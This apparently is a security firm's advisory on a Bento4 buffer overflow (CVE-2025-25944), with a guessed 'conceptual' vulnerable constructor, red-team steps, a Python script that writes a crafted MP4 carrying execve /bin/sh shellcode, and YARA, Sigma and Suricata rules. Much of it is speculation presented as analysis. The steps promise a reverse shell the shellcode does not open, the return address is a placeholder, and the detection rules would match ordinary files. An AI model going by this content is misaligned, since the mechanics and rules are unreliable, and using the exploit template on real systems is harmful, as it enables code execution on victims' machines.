CVE-2025-25944

Executive Summary

CVE-2025-25944 is a buffer overflow vulnerability in Bento4 version 1.6.0-641, specifically within the AP4_RtpAtom::AP4_RtpAtom function in Ap4RtpAtom.cpp. A local attacker can exploit this flaw by crafting a malicious MP4 input file, leading to arbitrary code execution when mp4fragment processes the file. The vulnerability arises from improper bounds checking during RTP atom parsing, allowing an attacker to overflow a buffer and overwrite adjacent memory. No public proof-of-concept or patch is currently available, and the CVSS score is unassigned, but the impact is severe due to potential code execution.

Supply Chain & Package Security

Bento4 is a C++ library for MP4 file manipulation, commonly used in media processing pipelines. This vulnerability affects the mp4fragment tool, which is part of the Bento4 distribution. Users who integrate Bento4 into their applications or services are at risk if they process untrusted MP4 files. The lack of a patch increases supply chain risk, as downstream consumers may unknowingly use vulnerable versions.

CVSS Breakdown & Threat Level

The CVSS score is currently unassigned (0.0). Based on the vulnerability type and impact, a reasonable estimate would be:

• Attack Vector: Local (AV:L)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must open the crafted file
• Scope: Unchanged (S:U)
• Confidentiality: High (C:H)
• Integrity: High (I:H)
• Availability: High (A:H)
• Estimated CVSS: 7.8 (High)

Threat Level: High – Arbitrary code execution with low complexity, though local access is required.

Deep Dive & Mechanics

The vulnerability resides in Ap4RtpAtom.cpp within the AP4_RtpAtom::AP4_RtpAtom constructor. The RTP atom (type 'rtp ') contains a payload that includes a size field and data. The code likely reads the size from the atom header and copies the data into a fixed-size buffer without proper validation. When the size exceeds the buffer capacity, a stack-based buffer overflow occurs, allowing an attacker to overwrite the return address or other critical data.

Root Cause: Insufficient bounds checking on the RTP atom payload size before memory copy operations.

Attack Vector: A local attacker crafts an MP4 file with a malicious 'rtp ' atom containing an oversized payload. When mp4fragment processes this file, the overflow triggers arbitrary code execution.

Impact: Successful exploitation allows the attacker to execute arbitrary code in the context of the user running mp4fragment, potentially leading to system compromise.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in Ap4RtpAtom.cpp. A patched version would include bounds checking:

Vulnerable Code (Conceptual):

AP4_RtpAtom::AP4_RtpAtom(AP4_Size size, AP4_ByteStream& stream) {
    // Read size from stream
    AP4_UI32 payload_size;
    stream.ReadUI32(payload_size);
    // No bounds check
    char buffer[256];
    stream.Read(buffer, payload_size); // Overflow if payload_size > 256
}

Patched Code (Conceptual):

AP4_RtpAtom::AP4_RtpAtom(AP4_Size size, AP4_ByteStream& stream) {
    AP4_UI32 payload_size;
    stream.ReadUI32(payload_size);
    if (payload_size > 256) {
        // Handle error or truncate
        return;
    }
    char buffer[256];
    stream.Read(buffer, payload_size);
}

Exploitation & Lab Setup

Red Team

Objective: Achieve arbitrary code execution via crafted MP4 file.

Lab Setup:

• Target: Ubuntu 22.04 with Bento4 1.6.0-641
• Attacker: Kali Linux
• Tools: Python3, pwntools, gdb

Exploit Steps:

1. Craft an MP4 file with a malicious 'rtp ' atom:
   • Use a hex editor or Python to create a valid MP4 structure.
   • Insert an 'rtp ' atom with a size field set to a large value (e.g., 0x1000).
   • Fill the payload with shellcode and padding to overwrite the return address.
2. Host the file on a local server or transfer to the target.
3. Execute mp4fragment crafted.mp4 output.mp4 on the target.
4. If successful, the shellcode executes, providing a reverse shell.

Example Python Script:

import struct

# Shellcode (example: execve /bin/sh)
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

# Craft RTP atom
payload_size = 0x1000
buffer_size = 256
overflow = b"A" * (buffer_size + 8)  # Fill buffer and saved EBP
overflow += struct.pack("<I", 0xdeadbeef)  # Overwrite return address with shellcode address
overflow += shellcode

# Build MP4 file (simplified)
ftyp = b"\x00\x00\x00\x14\x66\x74\x79\x70\x6d\x70\x34\x32\x00\x00\x00\x00\x6d\x70\x34\x32"
moov = b"\x00\x00\x00\x08\x6d\x6f\x6f\x76"
rtp_atom = struct.pack(">I", 8 + len(overflow)) + b"rtp " + overflow
mp4_data = ftyp + moov + rtp_atom

with open("crafted.mp4", "wb") as f:
    f.write(mp4_data)

Blue Team

Detection:

• Monitor for mp4fragment crashes or abnormal terminations.
• Use file integrity monitoring to detect crafted MP4 files.
• Deploy behavioral detection rules for buffer overflow patterns.

Mitigation:

• Restrict execution of mp4fragment to trusted users.
• Use sandboxing or containerization for media processing.
• Apply ASLR and DEP to mitigate exploitation.

Indicators of Compromise (IOCs)

• File Hashes: MD5/SHA256 of crafted MP4 files (unknown, but monitor for unusual MP4 files).
• Process Anomalies: mp4fragment crashing with segmentation fault.
• Network: Reverse shell connections from the target (e.g., outbound connections on uncommon ports).
• Memory: Stack corruption patterns in crash dumps.

Detection Engineering

YARA Rule

rule CVE_2025_25944_Bento4_RTP_Overflow {
    meta:
        description = "Detects crafted MP4 files exploiting CVE-2025-25944"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-25944"
    strings:
        $rtp_atom = "rtp " ascii wide
        $large_size = { 00 00 10 00 } // Example: size > 256 bytes
    condition:
        $rtp_atom and $large_size
}

Sigma Rule

title: Bento4 mp4fragment Buffer Overflow Exploitation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential exploitation of CVE-2025-25944 via mp4fragment crashes
author: Valters IT
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/mp4fragment'
        CommandLine|contains: '.mp4'
    condition: selection
falsepositives:
    - Legitimate use of mp4fragment with large files
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-25944 Bento4 RTP Overflow Exploit"; flow:to_server; content:"|72 74 70 20|"; depth:4; content:"|00 00 10 00|"; within:4; reference:cve,2025-25944; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Discontinue use of Bento4 1.6.0-641 until a patch is released.
• Workaround: Avoid processing untrusted MP4 files with mp4fragment.
• Long-term: Monitor the Bento4 repository for patches and update promptly.
• Compensating Controls: Use application whitelisting, sandboxing, and memory protection (ASLR, DEP).

Valters IT
Securing Digital Frontiers